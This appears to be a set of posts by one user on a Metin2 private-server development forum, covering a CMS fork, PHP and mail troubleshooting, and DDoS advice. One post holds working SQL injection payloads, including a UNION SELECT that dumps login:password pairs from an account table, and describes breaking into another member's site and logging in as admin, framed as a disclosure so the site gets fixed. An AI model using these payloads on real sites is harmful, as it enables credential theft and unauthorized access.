Ayaka

Wrong CHARACTER SET (more informations). alternatively you can try to encode your Query string with htmlspecialchars . (Have a look on: encoding - An optional argument defining the encoding used when converting characters.) . for data decoding request use htmlspecialchars-decode.

Because its a mobile version? I think this is intended to save traffic for mobile users with a low transfer rate like me (3G network). A low bandwidth is another important thing...

Hi! You can help to finish this CMS! - Need Translation in several languages

Hi, I am working on a Fork (Open Source) of hennink's metin2 CMS. A lot of people have already tried to recode this system but more or less the most of it is trash. Why a Fork of an outdated CMS? We all know that the used mysql_* functions in this CMS are outdated, the codesemantic is weak and the structure bulding isnt that good, too. Fact is that the Hen! CMS is the most used system and I don't think that the community is ready for new systems because of silly entrenched habit. It is undeniable that a CMS developed from the ground up is much better (like projects by ChuckNorris) but people which have used this system for years wouldn't change to a completely new CMS that fast. Let me explain this by an example: How much people (including me) tried to code a new and better toplist for this com? Unsuccessfully although the basic approaches where much better. What I am NOT doing: - I will not just replace the querys and say its finished! - I will not copy the whole code and say its finished What i am doing: - I will create an OOP Fork of THIS CMS which will be save, timely and familiar to the people. - I will deffently write a beginner friendly documentation. - I will create a simple installer to use this CMS without any problems (check if important tables or column already exist or missing ect.) Techniques: - Rebuild existing code to a semantic code. - MySQLi (we dont have to talk about using PDO or what is the best) - only a few OOP techniques because Object-Oriented Programming is too difficult to comprehend for the most in this com) - Better structure - jQuery features for better usability Main Features: - mod_rewrite (SEO friendly URLs) - language system [IMG01] - auctionhouse (+ Quest for easy implementation) - better statistics - Better Login (login attempts against Bruteforce, login faillogs) - Coinslog for Users (when did i buy coins? where did i spend coins (item Shop, auctionhouse)? and how much ) - Better register (we all know that the current form is shit when having an error) [IMG01] - Rankings (PVP, top player, top guild etc.) - Itemshop - Simple but effective ticketsystem [IMG01 , IMG02] I will not implement this things: Download: [Hidden Content] Changelog: [14.01.2015] [Add] - Add auto language detection and ACP option > [13.01.2015] [Add] - Add IP and port control (Server Settings) + view > [07.01.2015] [Add] - Coins History for Member. > [07.01.2015] [Add] - Referral System. > [04.01.2015] [Add] - Logs in adminCP. > [03.01.2015] [Add] - Add installer. > [03.01.2015] [Add] - Add some basic settings. > [19.12.2014] [Add] - Add register. > [17.12.2014] [Edit] - Statistics expanded > [15.12.2014] [Edit] - You can enter site title and other website informations in the adminCP now. no need to edit the config.inc.php [15.12.2014] [Add] - statistics in adminCP. > show [15.12.2014] [Add] - backup system in adminCP. > show [12.12.2014] [Add] - implemented overview in adminCP. > show [12.12.2014] [Edit] - Cleaned up language files and split all entries to seperate category groups. > show [12.12.2014] [Add] - New Adminoptions in the ticket sections: disable/enable ticketsystem, disable/enable email notice for new tickets. [12.12.2014] [Add] - Admin CP is now in the sidenavigation. [12.12.2014] [Add] - SA can search tickets by ticket IDs now. > show [12.12.2014] [Edit] - recoded the paginations (more opportunities). > show Important: I will kick your ass if you post shit like: "This is not necessary". It is my intention to do this because I want to do this! You can bring ideas or constructive feedback but no bullshit. I will release this ONLY here (metin2dev) when I'm done. epvp can suck my **** and if someone releases this there, I will report that. Special thanks: Krusty, SoNiice, hennink, Denis, NotEnoughForYou, Yoshix3, Stefan, ManojGeek

i love when people have a problem, asking a community for help and dont give the solution when the problem is solved. Maybe other people have the same problems.

more informations ... which game revision? When did the problem occur? After a change? Any log errors?

A full fledged attack can't be defeated with software running on your webserver. If the attack is that big and saturates your internet bandwith, the only solution is to ask your internet access provider to null route the attackers IPs on its core network. Your best solution is to choose a provider with a network layer of DDoS protection.

One thread is enough: [Hidden Content]

xDDD Godspeed!

problem: outdated solution: Recode it with mysqli or PDO

We need the info "on line" after the error messages and the files top.php, status.inc.php, ranking_chars.php to help you.

nothing

Are you serious?! [Hidden Content]

M2 Download Center Download Here ( Internal ) Hi, Panem2 (Akiari2) kicked me after my work for Board and Website (design+code) was done. I haven't seen 1 Cent since months. Today i release my Board Design + Code for WBB3.x.x. Download here

Site updated and safe Now i can tell you how i did it. The sql injection was simple but it wasn*t easy to find the right inject beause error_reporting[0]; was enabled: [Hidden Content]' or '1'='1' AND SUBSTRING(version(),1,1)=5 --%20 [Hidden Content]' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,concat(login,':',password),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48 from account.account WHERE account.login='protectedidd' --%20

<div class="col-2"> <div class="content content-last"> <div class="content-bg"> <div class="content-bg-bottom"> <h2><?PHP echo $serverSettings['titel']; ?> - Prezentare caracter</h2> <?php $char = $_GET['char']; $safe_char = mysql_real_escape_string($char); include 'inc/config.inc.php'; $db = "player"; mysql_connect(SQL_HOST, SQL_USER, SQL_PASS) OR die("ERROR: Connection failed. ".mysql_error()); mysql_select_db($db) OR die("ERROR: DB allready open. ".mysql_error()); $sql = "SELECT * FROM player WHERE name LIKE '$safe_char'"; $ergebnis = mysql_query($sql); $row = mysql_fetch_object($ergebnis); $lvl = $row->level; $skillgroup = $row->skill_group; $class = $row->job; $onlinemin = $row->playtime; $exp = $row->exp; $levelstep = $row->level_step; $name = $row->name; echo "<br/> <center><img src="img/renders/$class.png"></center><br/> <div class="trenner_news">&nbsp;</div> <div align="left"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Nume </b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $name</div></td> <div align="left"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Nivel </b><td width="65%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $lvl</div></td> <div align="left"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Timp joc</b><td width="65%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $onlinemin Minute</div></td> <div align="left"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EXP </b><td width="65%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $exp</div></td> <div align="left"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Trecere nivel</b><td width="65%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ",$levelstep,"/4 </div></td> "; echo " <td width="65%"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ras&#259; / Abilit&#259;&#355;i&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td> "; if($class == "0" or $class == "4") { if($skillgroup == "1" and $skillgroup !="0") { echo "R&#259;zboinic Corp "; } elseif($skillgroup == "2" and $skillgroup !="0") { echo "R&#259;zboinic Mental "; } elseif($skillgroup == "0") { echo "R&#259;zboinic <small>(Nici o abilitate &#238;nv&#259;&#355;at&#259;)</small>"; } } elseif($class == "1" or $class == "5") { if($skillgroup == "1" and $skillgroup !="0") { echo "Ninja Lam&#259; "; } elseif($skillgroup == "2" and $skillgroup !="0") { echo "Ninja Arc "; } elseif($skillgroup == "0") { echo "Ninja <small>(Nici o abilitate &#238;nv&#259;&#355;at&#259;)</small>"; } } elseif($class == "2" or $class == "6") { if($skillgroup == "1" and $skillgroup !="0") { echo "Sura Arme "; } elseif($skillgroup == "2" and $skillgroup !="0") { echo "Sura Magie Neagr&#259; "; } elseif($skillgroup == "0") { echo "Sura <small>(Nici o abilitate &#238;nv&#259;&#355;at&#259;)</small>"; } } elseif($class == "3" or $class == "7") { if($skillgroup == "1" and $skillgroup !="0") { echo "&#350;aman Dragon "; } elseif($skillgroup == "2" and $skillgroup !="0") { echo "&#350;aman Vindec&#259;tor "; } elseif($skillgroup == "0") { echo "&#350;aman <small>(Nici o abilitate &#238;nv&#259;&#355;at&#259;)</small>"; } } else { echo "garnix"; } echo ""; ?> <br/><br><div class="trenner_news">&nbsp;</div> <div style="position=:center; margin-left:10px;"><a href="javascript: history.go(-1)" class="back-btn-news" rel="nofollow">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#206;napoi</a></div> <div class="box-foot"></div> </div> </div> </div> <div class="shadow">&nbsp;</div> </div>

You don't care at all? Let me say that it was easy to hack your database. Dont worry im not one of those kids who release anything or do bullshit with it but you have to fix your site! Logged in with admin account: post player.php now?

without php knowledge? have fun

why people do not use the search function??

simple. This program said that this test was successful with the index.php. But the sql statement is in another .php file which is included in your index.php. I dont know where the login sql query is but i think its in user/downloadmenu1.php, inc/rights.inc.php or inc/functions.inc.php (or is there a login.php file anywhere?). Post this files and we can fix this like ATAG said. it may be that this injection isnt the login because the GET variable is "char". do you have a ranklist in your website? i recommend to search after "char" in all php files and post these. edit:// Got it. Found your site ... Post player.php in your /pages folder. And do that fast!

Easy: You can do this in php only. Just write an mysql insert after a valid vote pingback from toplist in a new column named "vote_points". Then you can simply code a section in your itemshop for exchange the vote_points with ingame money. Should be done with 10-20 lines.

Pure CSS boxes Ripped from Plesk by me Preview: Download: [Hidden Content] Virustotal: [Hidden Content]

AppServ? There is only - Apache - PHP - MySQL - phpMyAdmin included. You need a mailserver! If you do this local i recommend XAMPP for Developing! There is a fakemailer (Mercury) included. [Hidden Content]

no. SMTP of your server! Just configurate php properly and all will work. edit:// You can try standart SMTP: mail.yourdomain.com smtp.yourdomain.com

As i thought -> not configurated. Do you have access to your php.ini? If not try to set it in the test.php (on the top right after <?php): ini_set ("sendmail_from","[email protected]"); replace mywebsite.com with yours. Note: This only works if your provider allows ini_set